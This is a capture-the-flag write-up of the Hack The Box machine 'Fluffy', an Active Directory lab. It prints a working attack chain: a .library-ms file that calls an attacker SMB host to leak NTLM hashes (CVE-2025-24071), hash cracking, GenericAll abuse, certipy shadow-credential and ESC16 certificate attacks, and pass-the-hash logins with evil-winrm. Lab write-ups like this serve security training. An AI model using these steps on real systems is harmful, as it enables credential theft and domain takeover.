HTB: Fluffy (Windows/Easy)

Recon 🕵️

Network Enumeration

TCP Scan

ip=10.129.119.233
nmap -sCV -p- -vv -A -T5 -oA scan/normal $ip

Based on the TCP scan results, the following ports are available for further assessment:

The scan reveals that all standard Active Directory ports, including LDAP and Kerberos, are open. it also discloses the domain name so let’s add it to our /etc/hosts file :

echo "$ip fluffy.htb DC01.fluffy.htb" | sudo tee -a /etc/hosts

Active Directory Enumeration

Enumerating the SMB shares

Let’s start by enumerating the smb shares:

nxc smb $ip -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares

In addition to the standard shares, we also have read/write access to an IT share, which is quite unusual and screams that a phishing attack could be a viable path to gaining shell access:

Before proceeding, let’s first inspect the IT share, then download all its files and analyze them locally:

smbclient //$ip/IT -U 'fluffy.htb\j.fleischman%J0elTHEM4n1990!'

After dumping the IT share, we obtained a zip file for KeePass v2.58, which is a password manager, a zip file named “Everything…” that appears to contain a backup folder, and a PDF listing vulnerabilities that the team is tasked with patching by upgrading the systems:

Let’s begin by examining the PDF file, which reveals that the target is vulnerable to these vulnerabilities:

Given the target’s numerous vulnerabilities, we need to narrow it down a bit. While examining the other files, I started by reviewing the KeePass configuration file KeePass.exe.config for credentials but found none. However, this line caught my attention:

<loadFromRemoteSources enabled="true" />

According to Microsoft’s documentation, it enables granting full trust to assemblies (.dll files) loaded from remote sources, which further validates my hunch that a phishing attack abusing the write access to the IT share could be effective.

Exploiting 🦈

Foothold

CVE-2025-24071: Getting p.agila

One of the CVEs mentioned in the pdf file is a spoofing vulnerability in Windows File Explorer CVE-2025-24071, CVSS 7.5, where a .library-ms file in a ZIP triggers an SMB authentication request, leaking NTLM hashes. Luckily this CVE has a public POC which looks very simple:

1. Get user input: Asks for a file name and an IP address.
2. Create a library file: Makes a .library-ms file that links to the given IP.
3. Zip and clean up: Puts the file in a ZIP and deletes the original.

We can also do this manually by editing the file with our attack host’s IP address, saving it as a notMalicious.library-ms file, and then creating a ZIP file from it:

1
<?xml version="1.0" encoding="UTF-8"?>
2
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
3
  <searchConnectorDescriptionList>
4
    <searchConnectorDescription>
5
      <simpleLocation>
6
        <url>\\\\10.10.16.34\\shared</url>
7
      </simpleLocation>
8
    </searchConnectorDescription>
9
  </searchConnectorDescriptionList>
10
</libraryDescription>

Since this is a spoofing attack on a HackTheBox machine, it likely means there’s a bot running in the background that simulates a real user by periodically checking the SMB share, downloading .zip files, unzipping them, and accessing their contents. The thing is, I’m not sure whether the bot is configured to only specifically download the KeePass-2.58.zip or Everything-1.4.1.1026.x64.zip files which would be more realistic or if it’s designed to act like a nosy user or careless sysadmin who downloads and opens any strange .zip file they see, which would go against all basic cybersecurity best practices.

Anyway, since the odds are 2 to 1, let’s start with a suspicious-looking ZIP file like notMalicious.zip and see what happens:

zip notMalicious.zip notMalicious.library-ms

Then we upload it to the IT share:

smbclient //$ip/IT -U j.fleischman%J0elTHEM4n1990! -c "put notMalicious.zip"

And we get the NTLM hash of p.agila in the responder session:

Now all we have to do is to crack it And get the password:

john p.agila.hash --wordlist=../../wordlists/rockyou.txt

p.agila:prometheusx-303

Shell as winrm_svc:

Since we can’t log in via WinRM with p.agila’s credentials, let’s launch BloodHound to analyze their permissions over other accounts or services, as this could be our way in:

bloodhound-python --dns-tcp -ns $ip -d fluffy.htb -u 'p.agila' -p 'prometheusx-303' -c all

With the data in hand, it’s time to load it into BloodHound’s GUI and start running queries. The first thing that caught my eye was that p.agila is a member of the Service Account Managers group. Looking into this group, it turns out they have GenericAll rights over Service Accounts, and winrm_svc is one of those accounts. This means we can use p.agila to take control of winrm_svc and potentially get a shell:

First we should leverage the GenericAll permission to add p.agila to the SERVICE ACCOUNTS group:

net rpc group addmem "SERVICE ACCOUNTS" "p.agila" -U "fluffy.htb"/"p.agila"%"prometheusx-303" -S "DC01.fluffy.htb"

Then we can use certipy-ad to run a shadow Credentials Attack:

certipy-ad shadow auto -username p.agila@fluffy.htb -password 'prometheusx-303' -account 'winrm_svc' -target fluffy.htb

And we get the NT hash:

Using the hash we can login as winrm_svc and collect the user flag:

evil-winrm -i fluffy.htb -u 'winrm_svc' -H '33bd09dcd697600edf6b3a7af4875767'

I ran a targeted kerberoast attack and got the hashes for all the users in the service accounts group but none of them were crackable.

Privilege Escalation

Exploiting ESC16:

Looking back at the Service Accounts group, it had two additional members besides WINRM_SVC: LDAP_SVC and CA_SVC:

The CA_SVC user is also part of the CERT Publishers group, which might allow us to forge tickets and impersonate the administrator:

Our attack path seems clear, so let’s first run a shadow credentials attack to retrieve the hash for CA_SVC, the same way we did with WINRM_SVC earlier:

certipy-ad shadow auto -username p.agila -password 'prometheusx-303' -account 'CA_SVC' -target fluffy.htb

Now, with the hash in hand, we can run Certipy to analyze the target’s ADCS-related vulnerabilities:

certipy find -target 'DC01.fluffy.htb' -dc-ip $ip -u 'CA_SVC' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8'

The report indicates that the target is vulnerable to ESC16 because the Security extension is disabled:

According to the wiki, what we first need to do is to change the victim account’s (CA_SVC) UPN to match a privileged one (administrator) :

certipy account -dc-ip $ip -u 'CA_SVC' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' -user 'ca_svc' read

certipy account -dc-ip $ip -u 'CA_SVC' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' -user 'ca_svc' -upn 'administrator' update

Now, we can request a certificate for CA_SVC using the UPN of the administrator. Due to the target’s vulnerability to ESC16, it will interpret this as a request for the administrator’s certificate. Since the target only validates the UPN, we will be able to impersonate the actual administrator:

certipy req -dc-ip $ip -u 'CA_SVC' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' -target 'DC01.fluffy.htb' -ca 'fluffy-DC01-CA' -template 'User'

Finally, we can use the certificate to retrieve the Administrator’s NT hash:

certipy auth -dc-ip $ip -pfx 'administrator.pfx' -username 'Administrator' -domain 'fluffy.htb'

And we can use it to collect the root flag:

evil-winrm -i fluffy.htb -u Administrator -H '8da83a3fa618b6e3a00e93f676c92a6e'